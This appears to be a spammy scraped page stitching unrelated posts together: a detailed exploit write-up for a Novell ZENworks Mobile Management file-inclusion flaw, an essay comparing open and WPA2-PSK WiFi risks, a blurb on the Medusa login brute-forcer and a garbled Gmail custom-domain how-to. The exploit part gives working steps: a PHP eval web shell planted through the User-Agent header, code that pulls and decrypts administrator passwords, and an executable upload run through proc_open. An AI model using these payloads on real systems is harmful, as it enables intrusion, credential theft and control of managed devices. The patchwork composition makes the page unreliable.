Young Education Professionals-DC & DCAB-L

kumar jadhav

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.

Introduction

Whenever security professionals recommend the 5 most important IT security practices to average users, one of the items is usually something like: "Avoid using open Wifi" or "Always use VPN while using open WiFi" or "Avoid sensitive websites (e.g. online banking) while using open WiFI", etc.

What I think about this? It is bullshit. But let's not jump to the conclusions. Let's analyze all risks and factors here.

During the following analysis, I made two assumptions. The first one is that we are comparing public WiFi hotspots with no encryption at all (referred to as Open), and we compare this to public WiFi hotspots with WPA2-PSK (and just hope WEP died years before). The other assumption is there are people who are security-aware, and those who just don't care. They just want to browse the web, access Facebook, write e-mails, etc.

The risks

Let's discuss the different threats people face using public hotspots, compared to home/work internet usage:

1. Where the website session data is not protected with SSL/TLS (and the cookie is not protected with secure flag), attackers on the same hotspot can obtain the session data and use it in session/login credentials stealing. Typical protocols affected:

HTTP sites
HTTPS sites but unsecured cookie
FTP without encryption
IMAP/SMTP/POP3 without SSL/TLS or STARTTLS

2. Attackers can inject extra data into the HTTP traffic, which can be used for exploits, or social engineer attacks (e.g. update Flash player with our malware) – see the Dark Hotel campaign

3. Attackers can use tools like SSLStrip to keep the user's traffic on clear text HTTP and steal password/session data/personal information

4. Attackers can monitor and track user activity

5. Attackers can directly attack the user's machine (e.g. SMB service)

WPA2-PSK security

So, why is a public WPA2-PSK WiFi safer than an open WiFi? Spoiler alert: it is not!

In a generic public WPA2-PSK scenario, all users share the same password. And guess what, the whole traffic can be decrypted with the following information: SSID + shared password + information from the 4-way handshake. https://wiki.wireshark.org/HowToDecrypt802.11

If you want to see it in action, here is a nice tutorial for you

http://www.lovemytool.com/blog/2010/05/wireshark-and-tshark-decrypt-sample-capture-file-by-joke-snelders.html

Decrypted WPA2-PSK traffic

Any user having access to the same WPA2-PSK network knows this information. So they can instantly decrypt your traffic. Or the attackers can just set up an access point with the same SSID, same password, and stronger signal. And now, the attacker can instantly launch active man-in-the-middle attacks. It is a common belief (even among ITSEC experts) that WPA2-PSK is not vulnerable to this attack. I am not sure why this vulnerability was left in the protocol, if you have the answer, let me know. Edit (2015-08-03): I think the key message here is that without server authentication (e.g. via PKI), it is not possible to solve this.

Let me link here one of my previous posts here with a great skiddie tool:

http://jumpespjump.blogspot.nl/2014/04/dsploit.html

To sum up, attackers on a WPA2-PSK network can:

Decrypt all HTTP/FTP/IMAP/SMTP/POP3 passwords or other sensitive information
Can launch active attacks like SSLStrip, or modify HTTP traffic to include exploit/social engineer attacks
Can monitor/track user activity

The only difference between open and WPA2-PSK networks is that an open network can be hacked with an attacker of the skill level of 1 from 10, while the WPA2-PSK network needs and an attacker with a skill level of 1.5. That is the difference.

The real solutions

1. Website owners, service providers should deploy proper (trusted) SSL/TLS infrastructure, protect session cookies, etc. Whenever a user (or security professional) notices a problem with the quality of the service (e.g. missing SSL/TLS), the service provider has to be notified. If no change is made, it is recommended to drop the service provider and choose a more secure one. Users have to use HTTPS Everywhere plugin.

2. Protect the device against exploits by patching the software on it, use a secure browser (Chrome, IE11 + enhanced protection), disable unnecessary plugins (Java, Flash, Silverlight), or at least use it via click-to-play. Also, the use of exploit mitigations tools (EMET, HitmanPro Alert, Malwarebytes AntiExploit) and a good internet security suite is a good idea.

3. Website owners have to deploy HSTS, and optionally include their site in an HSTS preload list

4. Don't click blindly on fake downloads (like fake Flash Player updates)

5. The benefits of a VPN is usually overestimated. A VPN provider is just another provider, like the hotspot provider, or the ISP. They can do the same malicious stuff (traffic injecting, traffic monitoring, user tracking). Especially when people use free VPNs. And "Average Joe" will choose a free VPN. Also, VPN connections tend to be disconnected, and almost none of the VPN providers provide fail secure VPNs. Also, for the price of a good VPN service you can buy a good data plan and use 4G/3G instead of low-quality public hotspots. But besides this, on mobile OSes (Android, iOS, etc.) I strongly recommend the use of VPN, because it is not practically feasible to know for users which app is using SSL/TLS and which is not.

6. Use a location-aware firewall, and whenever the network is not trusted, set it to a Public.

7. In a small-business/home environment, buy a WiFi router with guest WiFi access possibility, where the different passwords can be set to guest networks than used for the other.

Asking the question "Are you using open WiFi?", or "Do you do online banking on open WiFi?" are the wrong questions. The good questions are:

Do you trust the operator(s) of the network you are using?
Are the clients separated?
If clients are not separated, is it possible that there are people with malicious intent on the network?
Are you security-aware, and are you following the rules previously mentioned? If you do follow these rules, those will protect you on whatever network you are.

And call me an idiot, but I do online banking, e-shopping, and all the other sensitive stuff while I'm using open WiFi. And whenever I order pizza from an HTTP website, attackers can learn my address. Which is already in the phone book, on Facebook, and in every photo metadata I took with my smartphone about my cat and uploaded to the Internet (http://iknowwhereyourcatlives.com/).

Most articles and research publications are full of FUD about what people can learn from others. Maybe they are just outdated, maybe they are not. But it is totally safe to use Gmail on an open WiFi, no one will be able to read my e-mails.

PS: I know "Average Joe" won't find my blog post, won't start to read it, won't understand half I wrote. But even if they do, they won't patch their browser plugins, pay for a VPN, or check the session cookie. So they are doomed to fail. That's life. Deal with it.

More information

Read More :- "Mythbusters: Is An Open (Unencrypted) WiFi More Dangerous Than A WPA2-PSK? Actually, It Is Not."

kumar jadhav

About Medusa
Medusa is a speedy, parallel, and modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers following items as some of the key features of this application:

Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.

Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.

Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.

Multiple protocols supported. Many services are currently supported (e.g. SMB, HTTP, MS-SQL, POP3, RDP, SSHv2, among others).

See doc/medusa.html for Medusa documentation. For additional information:

Building on macOS

#getting the source
git clone https://github.com/jmk-foofus/medusa
cd medusa

#macOS dependencies
brew install freerdp
$ export FREERDP2_CFLAGS='-I/usr/local/include'
$ export FREERDP2_LIBS='-I/usr/local/lib/freerdp'

#building
./configure
make

#executing

./src/medusa

Medusa's Installation
Medusa is already installed on Kali Linux, Parrot Security OS, BlackArch and any other Linux distros based for security pentesting purposes.

For Debian-based distro users, open your Terminal and enter this command:
sudo apt install medusa
For Arch Linux-based distro users, enter this command: sudo pacman -S medusa

About the author:

Email: jmk@foofus.net
Github: jmk-foofus
Website: Foofus.net

You might like these similar tools:

Download Medusa

HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

When it comes to email providers, there's no competitor to Google's awesome features. It is efficient which connects seamlessly with the rest of your Google products such as YouTube, Drive, has a major application called Gmail Inbox, and is overall an extremely powerful email service. However, to use it with a custom domain, you need to purchase Google Apps for either $5 or $10/month, which for casual users is a bit unnecessary. On top of that, you don't even get all of the features a personal account gets, e.g. Inbox. So, here's a free way to use your Gmail account with a custom domain. I am just going to show you hacking Gmail for free custom domain email.

SO, HOW HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

PASSWORD: EHT

STEPS:

First, register with Mailgun using your Gmail address. Use your Gmail only. Once you have clicked the confirm link, log in to the Mailgun website. Now you're in the dashboard, move on the right under "Custom Domains", click "Add Domain".
Follow the setup instructions and set DNS records with whoever manages your DNS. Once you've done this, click on the "Routes" link on the top to set up email forwarding.
Now move to the Route tab and click on Create New Route.
As you click the button, you will see a page like below. Just enter the information as entered in the following screenshot.
Just replace the quoted email with your desired email in the above-given screenshot.
Next, we'll setup SMTP configuration so we would be able to send emails from an actual server. Go to "Domains" tab, click on your domain name.
On this page, click "Manage your SMTP credentials" then "New SMTP Credential" on the next page.
Type in the desired SMTP credentials. And, go to Gmail settings and click "Add another email address you own". Once you open, enter the email address you wish to send from.
In the next step, set the SMTP settings as follows.
After clicking "Add Account" button, now you're done.
The final step, make sure to set it to default email in the Gmail settings > Accounts.